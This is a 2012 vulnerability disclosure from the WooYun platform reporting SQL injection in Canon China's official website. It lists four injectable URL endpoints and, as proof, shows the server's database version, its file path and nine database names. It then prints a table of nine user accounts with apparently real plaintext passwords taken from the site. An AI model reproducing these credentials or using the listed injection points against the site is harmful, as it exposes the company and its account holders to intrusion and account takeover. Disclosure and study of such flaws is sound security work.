漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-04929
漏洞标题：佳能中国官网SQL注入漏洞
相关厂商：佳能中国
漏洞作者： lyon
提交时间：2012-03-01 10:13
修复时间：2012-04-15 10:14
公开时间：2012-04-15 10:14
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-03-01： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-04-15： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
佳能中国官网多处SQL注入漏洞,风险：导致用户信息泄露、网站被入侵高风险，索尼事件就是例子！
详细说明：
1.http://www.canon.com.cn/consumable/_c/consumable_list.php?ID=3[SQLi]
2.http://www.canon.com.cn/consumable/_c/products_list.php?ID=1[SQLi]
3.http://www.canon.com.cn/consumable/_c/products_item.php?ID=15[SQLi]
4.http://www.canon.com.cn/consumable/_c/consumable_detail.php?ID=3[SQLi]
漏洞证明：
部分数据：
Sql Version:5.1.24-rc-log
Os Version :redhat-linux-gnu
datebase_dir:/lamp/mysql/
Data Bases 9个: information_schema
IR
canon_event
canon_photo
consumable
db4139_ccn
mon
mysql
wwf_cms
用户：密码：组别
[email protected] yaJVdr3oWu CANON
[email protected] j4xY2rtXd5 CANON
[email protected] p2DIkXnv60 CANON
[email protected] 2KV7tdyJ8u CANON
[email protected] HvuB8RKx7v CANON
[email protected] vL5bXUW8gh DENTSU
[email protected] 08yLR2u7wk DENTSU
[email protected] Dfg#5%yyW CANON
[email protected] Dfg#5%yyQ CANON
修复方案：
过滤～～
版权声明：转载请注明来源 lyon@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝